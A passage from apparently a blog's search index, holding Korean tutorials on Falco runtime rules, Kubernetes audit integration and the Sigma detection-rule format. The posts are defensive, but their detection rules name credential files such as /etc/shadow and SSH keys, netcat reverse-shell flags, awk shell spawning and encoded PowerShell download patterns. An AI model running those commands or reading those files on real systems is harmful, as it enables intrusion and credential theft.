k8s.pod.ip ipaddr Pod IP k8s.ns.name string 네임스페이스 k8s.deployment.name string Deployment 이름 k8s.daemonset.name string DaemonSet 이름 k8s.node.name string 노드 이름 실전 룰 예시 예시 1: 셸 생성 탐지 # 매크로 - macro: spawned_process condition: (evt.type = execve and evt.dir = \u0026lt;) - macro: shell_procs condition: (proc.name in (bash, sh, zsh, dash, fish, ksh)) # 컨테이너 안에서 인터랙티브 셸이 실행될 때 - rule: Terminal Shell in Container desc: 컨테이너 안에서 대화형 셸이 실행됨 (exec으로 접속했을 가능성) condition: \u0026gt; spawned_process and container and shell_procs and proc.tty != 0 and container.id != host output: \u0026gt; Shell spawned in container (user=%user.name container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: NOTICE tags: [container, shell, mitre_execution] 예시 2: 민감 파일 읽기 - list: sensitive_file_names items: - /etc/shadow - /etc/sudoers - /root/.ssh/id_rsa - /root/.ssh/authorized_keys - /etc/kubernetes/admin.conf - macro: open_read condition: \u0026gt; (evt.type in (open, openat, openat2) and evt.dir = \u0026lt; and fd.typechar = f and (evt.arg.flags contains O_RDONLY or not evt.arg.flags contains O_WRONLY)) - rule: Read Sensitive File After Startup desc: 민감한 파일을 비루트 프로세스가 읽으려 함 condition: \u0026gt; open_read and fd.name in (sensitive_file_names) and not proc.name in (sshd, passwd, sudo, su) and not user.uid = 0 output: \u0026gt; Sensitive file read (user=%user.name proc=%proc.name file=%fd.name container=%container.name) priority: WARNING tags: [filesystem, credential_access, mitre_credential_access] 예시 3: 외부 연결 - macro: outbound condition: \u0026gt; (evt.type = connect and evt.dir = \u0026lt; and fd.typechar = 4 and # IPv4 not fd.rip in (127.0.0.1, ::1) and not fd.rip startswith \u0026#34;10.\u0026#34; and not fd.rip startswith \u0026#34;172.16.\u0026#34; and not fd.rip startswith \u0026#34;192.168.\u0026#34;) - list: expected_outbound_processes items: [curl, wget, git, apt, apt-get, yum, dnf, pip, npm] - rule: Unexpected Outbound Connection from Container desc: 컨테이너 안 프로세스가 예상치 않은 외부 IP에 접속 condition: \u0026gt; outbound and container and not proc.name in (expected_outbound_processes) output: \u0026gt; Outbound connection from container (proc=%proc.name pid=%proc.pid ip=%fd.rip port=%fd.rport container=%container.name image=%container.image) priority: NOTICE tags: [network, container, mitre_command_and_control] 예시 4: 패키지 관리자 실행 (컨테이너 안에서) - macro: package_mgmt_binaries condition: \u0026gt; proc.name in (apt, apt-get, aptitude, dpkg, yum, dnf, rpm, pip, pip3, npm, yarn, gem, cargo) - rule: Launch Package Management Process in Container desc: | 컨테이너 런타임 중에 패키지 설치. 이미지 빌드 시점이 아니라 실행 중 패키지를 추가하는 것은 의심스럽다. condition: \u0026gt; spawned_process and package_mgmt_binaries and container output: \u0026gt; Package management launched (user=%user.name proc=%proc.name cmdline=%proc.cmdline container=%container.name image=%container.image) priority: ERROR tags: [container, process, mitre_persistence] 룰 오버라이드 (Override) 기존 룰을 수정할 때 전체를 재작성하지 않고 override 키를 쓴다.\n# 기본 룰의 조건을 확장 - rule: Terminal Shell in Container condition: append and not proc.name = my_debug_tool override: condition: append # 기본 룰을 비활성화 - rule: Terminal Shell in Container enabled: false override: enabled: replace append는 기존 조건 뒤에 and \u0026lt;추가 조건\u0026gt;을 붙인다. 이 방식으로 기본 룰셋을 건드리지 않고 custom_rules.yaml에 오버라이드만 쌓는 패턴을 많이 쓴다.\nfalco.yaml 주요 설정 # 드라이버 engine: kind: modern_ebpf # kmod | ebpf | modern_ebpf # 룰 파일 (여러 개 가능, 순서대로 로드) rules_files: - /etc/falco/falco_rules.yaml # 공식 룰셋 (읽기 전용) - /etc/falco/falco_rules.local.yaml # 커스텀/오버라이드 # 출력 포맷 json_output: false # true면 JSON으로 출력 json_include_output_property: true time_format_iso_8601: false # 최소 우선순위 (이것보다 낮은 룰은 무시) priority: debug # debug, info, notice, warning, error, critical, alert, emergency # 출력 채널 stdout_output: enabled: true syslog_output: enabled: false file_output: enabled: false filename: /var/log/falco.log http_output: enabled: false url: http://localhost:2801 # falcosidekick이 여기를 listen program_output: enabled: false keep_alive: false program: mail -s \u0026#34;Falco Alert\u0026#34; security@example.com 설치 방법 Docker (가장 빠른 테스트) # modern eBPF (호스트 커널 5.8+ 필요) docker run --rm -i \\ --privileged \\ -v /var/run/docker.sock:/host/var/run/docker.sock \\ -v /proc:/host/proc:ro \\ -v /boot:/host/boot:ro \\ -v /lib/modules:/host/lib/modules:ro \\ falcosecurity/falco:latest \\ falco --modern-bpf Helm (K8s) helm repo add falcosecurity https://falcosecurity.github.io/charts helm repo update helm install falco falcosecurity/falco \\ --namespace falco \\ --create-namespace \\ --set driver.kind=modern_ebpf \\ --set falco.json_output=true 바이너리 # Ubuntu/Debian curl -fsSL https://falco.org/repo/falcosecurity-packages.asc | \\ sudo gpg --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg echo \u0026#34;deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \\ https://download.falco.org/packages/deb stable main\u0026#34; | \\ sudo tee /etc/apt/sources.list.d/falcosecurity.list sudo apt update \u0026amp;\u0026amp; sudo apt install -y falco sudo systemctl start falco 출력 예시 경보 하나가 나오면 이렇게 생겼다 (JSON 모드):\n{ \u0026#34;time\u0026#34;: \u0026#34;2026-06-15T10:23:45.123456789Z\u0026#34;, \u0026#34;rule\u0026#34;: \u0026#34;Terminal Shell in Container\u0026#34;, \u0026#34;priority\u0026#34;: \u0026#34;Notice\u0026#34;, \u0026#34;source\u0026#34;: \u0026#34;syscall\u0026#34;, \u0026#34;tags\u0026#34;: [\u0026#34;container\u0026#34;, \u0026#34;shell\u0026#34;, \u0026#34;mitre_execution\u0026#34;], \u0026#34;output\u0026#34;: \u0026#34;Shell spawned in container (user=root container=backend pod=backend-7d4f8-xk9p2 ns=production shell=bash parent=runc cmdline=bash)\u0026#34;, \u0026#34;output_fields\u0026#34;: { \u0026#34;user.name\u0026#34;: \u0026#34;root\u0026#34;, \u0026#34;container.name\u0026#34;: \u0026#34;backend\u0026#34;, \u0026#34;k8s.pod.name\u0026#34;: \u0026#34;backend-7d4f8-xk9p2\u0026#34;, \u0026#34;k8s.ns.name\u0026#34;: \u0026#34;production\u0026#34;, \u0026#34;proc.name\u0026#34;: \u0026#34;bash\u0026#34;, \u0026#34;proc.pname\u0026#34;: \u0026#34;runc\u0026#34;, \u0026#34;proc.cmdline\u0026#34;: \u0026#34;bash\u0026#34; }, \u0026#34;hostname\u0026#34;: \u0026#34;node-01\u0026#34; } 이 JSON을 falcosidekick이 받아서 Slack, PagerDuty, Loki, Elasticsearch 등으로 팬아웃한다.\n","permalink":"https://charminggroot.github.io/posts/falco-basics/","summary":"Falco의 내부 아키텍처(커널 드라이버 → 파서 → 룰 엔진 → 출력), 3가지 드라이버(kmod/legacy BPF/modern BPF), 룰 문법 전체(rule/macro/list/exception), 주요 필드 레퍼런스.","title":"보안-01. Falco 기초 — 아키텍처, 드라이버, 룰 문법"},{"content":"Falco와 쿠버네티스 Falco는 두 방식으로 K8s를 다룬다.\n1. syscall + K8s 메타데이터 enrichment 기본 동작. eBPF/kmod로 syscall을 잡고, 그 syscall을 한 PID가 어떤 Pod/Namespace/Deployment에 속하는지를 K8s API로 조회해서 붙인다. 이미 기초 문서에서 본 k8s.* 필드가 이 방식.\nsyscall 이벤트 └─ pid=1234 └─ libsinsp가 /proc/1234/cgroup 파싱 → container ID └─ container runtime socket에서 container → pod 매핑 └─ K8s API에서 pod → namespace, labels, deployment 조회 └─ k8s.pod.name, k8s.ns.name, k8s.deployment.name 필드 생성 이 방식은 workload 내부 이벤트(파일 접근, 프로세스 실행, 네트워크 연결)를 잡는다.\n2. K8s Audit Log (k8saudit 플러그인) K8s 컨트롤 플레인 이벤트를 잡는다. API server가 모든 요청을 감사 로그로 남기고, k8saudit 플러그인이 이를 이벤트 소스로 받아 룰을 적용한다.\n이 방식으로 탐지할 수 있는 것들:\n누가 Pod 안에 kubectl exec를 했는지 새 ClusterRoleBinding을 만들어서 권한을 높였는지 ServiceAccount 토큰을 노출하는 ConfigMap을 만들었는지 Namespace를 변경하거나 삭제했는지 # falco.yaml에 k8saudit 플러그인 설정 load_plugins: - name: k8saudit library_path: /usr/share/falco/plugins/libk8saudit.so init_config: sslCertificate: /etc/falco/certs/server.crt open_params: \u0026#34;http://0.0.0.0:9765/k8s-audit\u0026#34; plugins: - name: k8saudit library_path: /usr/share/falco/plugins/libk8saudit.so K8s API server 쪽 설정 (audit-policy.yaml):\napiVersion: audit.k8s.io/v1 kind: Policy rules: - level: RequestResponse # 요청+응답 모두 기록 resources: - group: \u0026#34;\u0026#34; resources: [\u0026#34;secrets\u0026#34;, \u0026#34;configmaps\u0026#34;, \u0026#34;serviceaccounts\u0026#34;] - level: Request resources: - group: \u0026#34;\u0026#34; resources: [\u0026#34;pods\u0026#34;, \u0026#34;pods/exec\u0026#34;, \u0026#34;pods/log\u0026#34;] - level: Metadata # 나머지는 메타데이터만 omitStages: - RequestReceived k8saudit 전용 룰 예시:\n- rule: K8s Cluster-Admin Binding desc: 누군가 cluster-admin 권한을 바인딩함 (위험한 과도한 권한) condition: \u0026gt; ka.target.resource = \u0026#34;clusterrolebindings\u0026#34; and ka.verb in (create, update, patch) and ka.req.binding.role = \u0026#34;cluster-admin\u0026#34; output: \u0026gt; ClusterAdmin binding created (user=%ka.user.name binding=%ka.target.name role=%ka.req.binding.role subject=%ka.req.binding.subjects) priority: WARNING source: k8saudit tags: [k8s, rbac, privilege_escalation] - rule: Create Privileged Pod desc: privileged 컨테이너가 포함된 Pod 생성 condition: \u0026gt; ka.target.resource = \u0026#34;pods\u0026#34; and ka.verb = create and ka.req.pod.containers.privileged = true output: \u0026gt; Privileged pod created (user=%ka.user.name pod=%ka.target.name ns=%ka.target.namespace) priority: WARNING source: k8saudit tags: [k8s, container, privilege_escalation] k8saudit 필드 레퍼런스 k8saudit 소스에서만 쓸 수 있는 필드들.\n필드 설명 ka.user.name 요청한 사용자/ServiceAccount ka.user.groups 사용자 그룹 목록 ka.verb get, list, create, update, patch, delete, \u0026hellip; ka.target.resource pods, secrets, configmaps, \u0026hellip; ka.target.name 대상 리소스 이름 ka.target.namespace 대상 네임스페이스 ka.uri 요청 URI ka.response.code HTTP 응답 코드 ka.req.pod.containers.image Pod 컨테이너 이미지 ka.req.pod.containers.privileged privileged 여부 ka.req.pod.volumes.hostpath hostPath 마운트 경로 ka.req.binding.role RoleBinding의 역할 ka.req.binding.subjects 바인딩 대상 (User/Group/ServiceAccount) Helm 배포 상세 운영 환경에서 쓰는 values.yaml 패턴:\n# values.yaml driver: kind: modern_ebpf falco: json_output: true priority: notice # warning 이상만 처리하면 performance 향상 # 룰 오버라이드 inline으로 정의 rules: - rule: Terminal Shell in Container condition: append and not k8s.ns.name = debug override: condition: append # 커스텀 룰 파일 ConfigMap으로 마운트 customRules: my-rules.yaml: |- - rule: My Custom Detection desc: 커스텀 탐지 룰 condition: \u0026gt; spawned_process and proc.name = nc and container output: netcat spawned in container (container=%container.name) priority: WARNING tags: [custom] # falcosidekick 연동 falcosidekick: enabled: true config: slack: webhookurl: \u0026#34;https://hooks.slack.com/...\u0026#34; minimumpriority: error loki: hostport: \u0026#34;http://loki:3100\u0026#34; minimumpriority: notice falcosidekick Falco 자체는 stdout/file/syslog/http/program 정도만 지원한다. falcosidekick은 Falco의 http_output을 받아서 50개 이상의 출력 대상으로 팬아웃하는 사이드카.\nFalco → [HTTP POST json] → falcosidekick → Slack → PagerDuty → Elasticsearch → Loki → Datadog → AWS Lambda → Google Cloud Run → Webhook (커스텀) 설정:\n# falcosidekick config.yaml listenaddress: \u0026#34;0.0.0.0\u0026#34; listenport: 2801 debug: false slack: webhookurl: \u0026#34;https://hooks.slack.com/services/...\u0026#34; channel: \u0026#34;#security-alerts\u0026#34; minimumpriority: \u0026#34;error\u0026#34; messageformat: \u0026#34;Alert: [%rule%] on %hostname% at %time%\u0026#34; loki: hostport: \u0026#34;http://loki:3100\u0026#34; minimumpriority: \u0026#34;notice\u0026#34; extralabels: \u0026#34;environment=prod,team=security\u0026#34; elasticsearch: hostport: \u0026#34;http://elasticsearch:9200\u0026#34; index: \u0026#34;falco\u0026#34; minimumpriority: \u0026#34;notice\u0026#34; webhook: address: \u0026#34;http://my-soar/webhook\u0026#34; minimumpriority: \u0026#34;warning\u0026#34; checkcert: true minimumpriority로 출력 대상별로 다른 임계값을 설정할 수 있다. 예: Slack에는 error 이상만, Loki에는 notice 이상 모두.\nfalcosidekick-ui falcosidekick과 함께 배포하는 대시보드. 경보를 시각화하고 Rule별/우선순위별/호스트별로 필터링할 수 있다.\n# docker-compose로 전체 스택 띄우기 docker compose -f docker/docker-compose/docker-compose.yaml up -d # falco + falcosidekick + falcosidekick-ui + redis 모두 올라옴 플러그인 시스템 Falco 0.32+부터 플러그인으로 이벤트 소스와 필드 extractor를 추가할 수 있다.\n플러그인 타입 Event Source 플러그인: 새 이벤트 소스를 추가 (k8saudit, cloudtrail) Field Extractor 플러그인: 기존 이벤트에서 새 필드를 추출 (json 플러그인) 주요 공식 플러그인 플러그인 설명 k8saudit K8s API server 감사 로그 cloudtrail AWS CloudTrail 이벤트 okta Okta 감사 이벤트 (SSO/MFA 관련) github GitHub webhook 이벤트 json 임의 JSON 필드 접근 (jevt.value[/path]) dummy 테스트용 플러그인 설치 # falcoctl로 플러그인 설치 falcoctl artifact install k8saudit:latest falcoctl artifact install cloudtrail:latest cloudtrail 플러그인 예시 # cloudtrail 이벤트 소스에서 동작하는 룰 - rule: Console Login Without MFA desc: AWS 콘솔에 MFA 없이 로그인 condition: \u0026gt; ct.name = \u0026#34;ConsoleLogin\u0026#34; and ct.req.console_login.mfa_used = false output: \u0026gt; Console login without MFA (user=%ct.user.name ip=%ct.srcip) priority: CRITICAL source: aws_cloudtrail tags: [cloud, aws, authentication] 룰 튜닝 전략 실제 운영에서 가장 힘든 부분이 false positive 줄이기다.\n접근 방법 드라이 런: --dry-run 플래그로 룰이 어떤 이벤트에 매칭되는지 먼저 확인 카운팅: 처음에는 WARNING 이상만 활성화하고, NOTICE→DEBUG 순서로 확장 네임스페이스 제외: 신뢰할 수 있는 네임스페이스(kube-system, monitoring 등) 제외 이미지 기반 화이트리스트: 알려진 이미지에 대해 예외 처리 # kube-system 네임스페이스 제외 패턴 - macro: kube_system_namespace condition: (k8s.ns.name = kube-system) - rule: Unexpected Network Connection condition: \u0026gt; outbound and container and not kube_system_namespace and # 이 줄 추가 not proc.name in (known_processes) ... 예외 처리 구조화 # 구조화된 exception 사용 - rule: Write Below Binary Dir desc: /usr/bin, /bin 등 바이너리 디렉터리 아래에 파일 씀 condition: \u0026gt; open_write and bin_dir exceptions: - name: package_manager fields: proc.name comps: in values: [[dpkg], [rpm], [yum], [apt-get]] - name: deployment_scripts fields: [proc.name, fd.name] comps: [=, startswith] values: - [deploy.sh, /usr/local/bin/] output: Write below binary dir (proc=%proc.name file=%fd.name) priority: ERROR 룰 성능 측정 # 어떤 룰이 얼마나 자주 발화하는지 확인 falco --stats-interval 1000 2\u0026gt;\u0026amp;1 | grep \u0026#34;STATS\u0026#34; # JSON 출력에서 집계 falco --json-output | jq \u0026#39;.rule\u0026#39; | sort | uniq -c | sort -rn | head -20 자주 발화하는 룰을 찾아서 조건을 좁히거나, 해당 룰의 enabled: false로 임시 비활성화하고 원인을 파악한다.\n성능 고려사항 CPU 영향 modern eBPF는 kmod보다 CPU 오버헤드가 약간 높다(verifier 검증 때문). 하지만 대부분의 환경에서 5% 미만.\nCPU 사용량을 줄이는 방법:\npriority: warning 이상만 처리 → 낮은 우선순위 룰 비활성 특정 이벤트 타입만 보는 룰은 condition을 evt.type 체크로 시작 → 빠른 early exit 고성능 환경에서는 outputs_queue.capacity를 늘려서 드랍 방지 outputs_queue: capacity: 0 # 0 = 무제한 (메모리 허용하는 한) 메모리 영향 libsinsp는 프로세스/FD/컨테이너 상태를 메모리에 유지한다. Pod가 많은 환경에서는 수백 MB도 쓸 수 있다.\nsyscall_buf_size_preset으로 ring buffer 크기 조정:\nengine: kind: modern_ebpf modern_ebpf: cpus_for_each_syscall_buffer: 2 # 몇 개 CPU당 버퍼 하나 이벤트 드랍 고트래픽 환경에서 이벤트를 처리하지 못하면 드랍이 발생한다. 로그에 Syscall event drop 메시지가 나오면 버퍼 크기 늘리거나, 룰 조건을 좁혀서 처리량을 줄여야 한다.\nSOAR 연동 패턴 Falco → SOAR 자동 대응 파이프라인.\n패턴 1: falcosidekick → Webhook → SOAR Falco → falcosidekick → HTTP webhook → Shuffle/TheHive → 플레이북 Shuffle (오픈소스 SOAR) workflow 예시:\nTrigger: Webhook (falcosidekick이 보낸 JSON) Action: JSON 파싱 → container.name, k8s.pod.name 추출 Action: kubectl exec로 컨테이너 격리 Action: Slack 알림 Action: TheHive에 케이스 생성 패턴 2: falcosidekick → Loki → Grafana Alert → SOAR Falco → falcosidekick → Loki → Grafana (LogQL 알림 룰) → Webhook → 플레이북 Loki에 로그를 저장하면 Grafana에서 시각화와 알림을 동시에. 임계값 기반 (예: \u0026ldquo;같은 Pod에서 WARNING이 10분에 5번 이상\u0026rdquo;)으로 에스컬레이션.\n패턴 3: Falco gRPC → 커스텀 에이전트 Falco는 gRPC 인터페이스(falco.outputs.v1)를 노출한다. Go/Python 클라이언트로 실시간으로 경보를 구독해서 직접 처리할 수 있다.\nimport grpc from falco.outputs.v1 import outputs_pb2, outputs_pb2_grpc channel = grpc.secure_channel(\u0026#34;localhost:5060\u0026#34;, creds) stub = outputs_pb2_grpc.ServiceStub(channel) for response in stub.Get(outputs_pb2.Request()): alert = response # LLM에 넘겨서 판단 → 자동 대응 handle_alert(alert.rule, alert.priority, alert.output_fields) 이 방식이 보안 에이전트와 직접 연결하는 가장 깔끔한 방법. 에이전트가 Falco를 MCP 도구로 래핑할 때도 이 gRPC 스트림을 쓰거나, http_output을 받는 미니 서버를 중간에 두는 방식을 쓴다.\n룰셋 레포 vs 이 레포 이 레포(falcosecurity/falco)는 Falco 바이너리와 Helm chart 코드가 있다. 공식 룰셋은 별도 레포:\nfalcosecurity/rules: 공식 falco_rules.yaml. 여기가 룰 PR을 날릴 대상. falcoctl로 설치하면 이 레포의 룰 아티팩트를 받아온다. 기여 패턴:\nfalcosecurity/rules 에서 새 룰 제안 이슈 등록 rules/falco_rules.yaml에 룰 추가 PR 룰 테스트: falco-tester 프레임워크로 룰 동작 검증 실전 배포 체크리스트 □ 드라이버 선택: modern_ebpf (커널 5.8+) 또는 kmod □ Helm values.yaml에 커스텀 룰 ConfigMap 마운트 □ json_output: true 설정 □ falcosidekick 함께 배포 (DaemonSet) □ falcosidekick → Slack/PagerDuty 연동 (최소 error 이상) □ falcosidekick → Loki 연동 (notice 이상 전체 보관) □ Grafana 대시보드 연동 □ K8s Audit 정책 설정 + k8saudit 플러그인 활성화 □ RBAC: Falco ServiceAccount에 필요한 최소 권한만 □ priority 임계값 조정: 처음엔 warning, 안정화 후 notice □ 주요 FP 룰 오버라이드 파일 작성 (custom_rules.yaml) □ 성능 모니터링: 이벤트 드랍 여부 주기적 확인 ","permalink":"https://charminggroot.github.io/posts/falco-advanced/","summary":"Falco K8s Audit 통합, falcosidekick 출력 팬아웃, 플러그인 시스템, 룰 튜닝 전략, 성능 최적화, SOAR 연동 패턴.","title":"보안-02. Falco 심화 — K8s 통합, 플러그인, falcosidekick, 커스텀 룰 전략"},{"content":"Sigma란 Sigma는 \u0026ldquo;로그를 위한 YARA\u0026quot;다. YARA가 파일을 위한 범용 시그니처 포맷이고, Snort가 네트워크 패킷을 위한 포맷인 것처럼, Sigma는 로그 이벤트를 위한 범용 탐지 룰 포맷이다.\n핵심 가치:\n룰을 한 번만 쓴다 (YAML) sigma-cli 또는 pySigma 백엔드로 원하는 SIEM 쿼리로 변환한다 Splunk, Elasticsearch, QRadar, Microsoft Sentinel, Chronicle, OpenSearch, Graylog\u0026hellip; 모두 지원 Sigma 룰 (YAML) │ ▼ pySigma 변환기 │ ├─→ Splunk SPL: index=wineventlog EventID=4688 AND CommandLine=*base64* ├─→ Elastic DSL: {\u0026#34;query\u0026#34;: {\u0026#34;bool\u0026#34;: {\u0026#34;must\u0026#34;: [...]}}} ├─→ Microsoft KQL: SecurityEvent | where EventID == 4688 | where CommandLine has \u0026#34;base64\u0026#34; └─→ QRadar AQL: SELECT * FROM events WHERE ... 벤더 종속 쿼리 언어를 배울 필요 없이 탐지 로직 자체에 집중할 수 있다.\n룰 파일 전체 구조 Sigma 룰 하나는 YAML 파일 하나다. 모든 필드:\ntitle: Suspicious AWK Shell Spawn id: 8c1a5675-cb85-452f-a298-b01b22a51856 related: - id: 11f9a6f7-72e6-4a12-bc73-3a8c2e6e5e24 type: derived # obsoletes | derived | merged | similar status: test # stable | test | experimental | deprecated | unsupported description: | awk로 셸을 spawn하는 행위 탐지. GTFOBins에 기록된 권한 상승 기법. references: - https://gtfobins.github.io/gtfobins/awk/#shell author: Li Ling, Andy Parkidomo date: 2024-09-02 modified: 2024-11-15 tags: - attack.execution - attack.t1059 logsource: category: process_creation product: linux detection: selection_img: Image|endswith: - \u0026#39;/awk\u0026#39; - \u0026#39;/gawk\u0026#39; selection_cli: CommandLine|contains: - \u0026#39;/bin/bash\u0026#39; - \u0026#39;/bin/sh\u0026#39; condition: all of selection_* falsepositives: - 스크립트 개발 중 정상 사용 level: high 필드별 상세 설명 title 룰 이름. 짧고 명확하게. 보통 \u0026ldquo;행동 - 플랫폼\u0026rdquo; 패턴.\nSuspicious AWK Shell Spawn - Linux Windows Credential Dump via ProcDump AWS Console Login Without MFA id UUID v4. 룰을 유니크하게 식별. 절대 바뀌지 않는다. uuidgen으로 생성.\nrelated 파생/대체 관계를 추적. type 값:\nderived: 이 룰이 다른 룰에서 파생됨 obsoletes: 이 룰이 다른 룰을 대체함 merged: 여러 룰을 합침 similar: 비슷하지만 다른 룰 status 값 의미 stable 프로덕션 사용. 잘 검증됨 test 테스트 완료, 운영에 쓸 수 있지만 FP 가능성 있음 experimental 새 탐지 아이디어. 검증 안 됨. 주의해서 사용 deprecated 더 이상 유지 안 됨. related로 대체 룰 표시 unsupported 지원 중단 (logsource가 사라졌거나 할 수 없는 경우) SigmaHQ 공식 레포의 대부분 룰은 test. stable은 엄격한 검증을 거쳐야 한다.\nlevel 탐지 심각도. SIEM 경보 우선순위로 그대로 쓴다.\n값 의미 예시 critical 즉각 대응 필요. 확실한 공격 알려진 랜섬웨어 IoC high 빠른 조사 필요 권한 상승 시도, 크리덴셜 덤프 medium 조사 필요하나 urgent 아님 의심스러운 프로세스, 비정상 네트워크 low 정보성. FP 많을 수 있음 관리 도구 실행 informational 로그 수집용. 경보 아님 정상 활동 기록 tags MITRE ATT\u0026amp;CK 매핑 + 커스텀 태그.\ntags: - attack.execution # 전술 (소문자, _ 구분) - attack.t1059 # 기법 ID - attack.t1059.004 # 세부 기법 (AWK = T1059.004 = Unix Shell) - attack.privilege_escalation - attack.t1548 - detection.threat_hunting # 위협 헌팅 전용 태그 ATT\u0026amp;CK 전술 이름들:\nattack.initial_access, attack.execution, attack.persistence attack.privilege_escalation, attack.defense_evasion, attack.credential_access attack.discovery, attack.lateral_movement, attack.collection attack.command_and_control, attack.exfiltration, attack.impact logsource: 어떤 로그를 보는가 logsource는 product, category, service 3개 축으로 로그 소스를 특정한다.\nlogsource: product: windows # 플랫폼 category: process_creation # 이벤트 유형 # service: security # 특정 서비스 (category와 배타적으로 쓰는 경우 多) product 값 설명 windows Windows 이벤트 로그 linux Linux 시스템 로그 macos macOS 통합 로그 cloud 클라우드 서비스 (aws, azure, gcp 등 별도 product도 있음) aws AWS 서비스 (CloudTrail 등) azure Azure 서비스 gcp GCP 서비스 okta Okta github GitHub m365 Microsoft 365 category (Windows 중심) Windows에서 자주 쓰는 category:\ncategory 설명 주요 필드 process_creation 프로세스 생성 Image, CommandLine, ParentImage, User network_connection 네트워크 연결 DestinationIp, DestinationPort, Image file_event 파일 생성/수정 TargetFilename, Image file_access 파일 접근 TargetFilename, Image file_delete 파일 삭제 TargetFilename registry_add 레지스트리 키 추가 TargetObject, Details registry_set 레지스트리 값 설정 TargetObject, Details registry_delete 레지스트리 키 삭제 TargetObject pipe_created Named Pipe 생성 PipeName image_load DLL/드라이버 로드 ImageLoaded, Image driver_load 드라이버 로드 ImageLoaded, Signed ps_script PowerShell 스크립트 ScriptBlockText ps_module PowerShell 모듈 ModuleName wmi_event WMI 이벤트 EventNamespace, Query create_remote_thread 원격 스레드 생성 TargetImage, StartAddress create_stream_hash ADS(대안 데이터 스트림) 해시 Contents category (Linux 중심) category 설명 로그 소스 process_creation 프로세스 실행 auditd execve, sysmon for linux file_event 파일 이벤트 auditd, sysmon network_connection 네트워크 연결 auditd, sysmon service (특정 서비스 로그) service 설명 security Windows Security 이벤트 로그 (이벤트 ID 4xxx) system Windows System 이벤트 로그 application Windows Application 이벤트 로그 powershell PowerShell 이벤트 로그 sysmon Sysinternals Sysmon auditd Linux auditd auth Linux /var/log/auth.log cron Linux 크론 로그 detection: 핵심 detection 섹션이 실제 탐지 로직이다.\ndetection: selection: # selection 블록 (여러 개 가능) field: value filter: field: value condition: selection and not filter # 조건 표현식 Selection 블록 selection 블록 이름은 자유롭게 정할 수 있다. 관례적으로 selection, selection_A, filter, filter_main 등을 쓴다.\n블록 내부 필드들은 AND 관계다:\ndetection: selection: EventID: 4688 # AND CommandLine|contains: \u0026#39;base64\u0026#39; # AND User|endswith: \u0026#39;$\u0026#39; # 모두 만족해야 선택됨 condition: selection 같은 필드에 여러 값은 OR 관계:\ndetection: selection: CommandLine|contains: - \u0026#39;base64 -d\u0026#39; # OR - \u0026#39;base64 -D\u0026#39; # OR - \u0026#39;FromBase64\u0026#39; 즉: \u0026ldquo;같은 블록 내 필드 간 = AND, 같은 필드의 여러 값 = OR\u0026rdquo;\n모디파이어 (Modifier) 완전 정리 field|modifier: value 형태. 여러 개 체이닝 가능: field|modifier1|modifier2.\n기본 비교 모디파이어 모디파이어 설명 예시 (없음) 정확히 일치 (=) EventID: 4688 contains 문자열 포함 CommandLine|contains: 'wget' contains|all 모든 값을 포함 여러 값이 모두 있어야 startswith 접두사 Image|startswith: 'C:\\Windows\\' endswith 접미사 Image|endswith: '\\cmd.exe' re PCRE 정규식 CommandLine|re: 'powershell.*-enc' 인코딩 모디파이어 모디파이어 설명 base64 base64 인코딩된 값과 매칭 base64offset base64 오프셋(0,1,2) 변형 모두 체크 wide UTF-16LE 인코딩 (Windows 유니코드 문자열) utf16le UTF-16 Little Endian utf16be UTF-16 Big Endian # PowerShell -EncodedCommand 탐지 # -enc로 전달되는 base64 + UTF-16LE 조합 detection: selection: CommandLine|base64offset|contains: - \u0026#39;IEX\u0026#39; # Invoke-Expression - \u0026#39;Invoke-Expression\u0026#39; - \u0026#39;WebClient\u0026#39; 네트워크/특수 모디파이어 모디파이어 설명 예시 cidr CIDR 범위로 IP 매칭 DestinationIp|cidr: '192.168.0.0/16' fieldref 다른 필드 값을 참조 TargetImage|fieldref: Image expand 변수 확장 (placeholder) CommandLine|expand: '%SUSPICIOUS_CMDS%' windash - 와 / 구분자 모두 체크 CommandLine|contains|windash: ' -Enc ' contains|all — 모두 포함 # 모든 값이 CommandLine에 있어야 함 (AND) detection: selection: CommandLine|contains|all: - \u0026#39;powershell\u0026#39; # AND - \u0026#39;-nop\u0026#39; # AND - \u0026#39;-enc\u0026#39; vs 일반 contains (OR):\n# 하나라도 있으면 됨 (OR) detection: selection: CommandLine|contains: - \u0026#39;powershell\u0026#39; # OR - \u0026#39;-nop\u0026#39; # OR - \u0026#39;-enc\u0026#39; condition 표현식 condition에서 selection 블록들을 논리 연산자로 조합한다.\n기본 연산자 condition: selection # 단일 블록 condition: selection and not filter # AND NOT condition: selection_a or selection_b # OR condition: not selection # NOT (단독 사용 지양) 집합 연산자 # selection_A, selection_B, selection_C 중 하나 이상 condition: 1 of selection_* # filter_로 시작하는 블록 중 하나도 안 맞으면 condition: selection and not 1 of filter_* # filter_로 시작하는 모든 블록에 안 맞으면 condition: selection and not all of filter_* 1 of selection_*는 selection_* 패턴에 매칭되는 모든 블록 중 하나 이상 매칭이면 true. all of selection_*는 모두 매칭이면 true.\n실전 패턴들 패턴 1: 선택 + 필터 제외\ndetection: selection: Image|endswith: \u0026#39;\\powershell.exe\u0026#39; CommandLine|contains: \u0026#39;-enc\u0026#39; filter_admin: User: SYSTEM filter_legit_path: Image|startswith: \u0026#39;C:\\Windows\\System32\\\u0026#39; condition: selection and not 1 of filter_* 패턴 2: 여러 선택 중 하나\ndetection: selection_image: Image|endswith: - \u0026#39;\\nc.exe\u0026#39; - \u0026#39;\\ncat.exe\u0026#39; - \u0026#39;\\netcat.exe\u0026#39; selection_cmdline: CommandLine|contains|all: - \u0026#39; -e \u0026#39; - \u0026#39;/bin/sh\u0026#39; condition: 1 of selection_* 패턴 3: 복합 AND 조건\ndetection: selection_parent: ParentImage|endswith: \u0026#39;\\word.exe\u0026#39; selection_child: Image|endswith: - \u0026#39;\\cmd.exe\u0026#39; - \u0026#39;\\powershell.exe\u0026#39; - \u0026#39;\\wscript.exe\u0026#39; condition: all of selection_* # 해석: ParentImage가 word.exe이면서 동시에 Image가 cmd/ps/wscript 중 하나 상관관계 (Correlation) — v2 기능 Sigma v2의 correlation 타입은 여러 이벤트를 시간 기반으로 연결한다.\n# 기반 룰 - name: failed_login_attempt title: Failed Login Attempt logsource: product: windows service: security detection: selection: EventID: 4625 # 로그인 실패 condition: selection # 상관관계 룰 - title: Brute Force Attack type: event_count rules: failed_login: failed_login_attempt group-by: - TargetUserName # 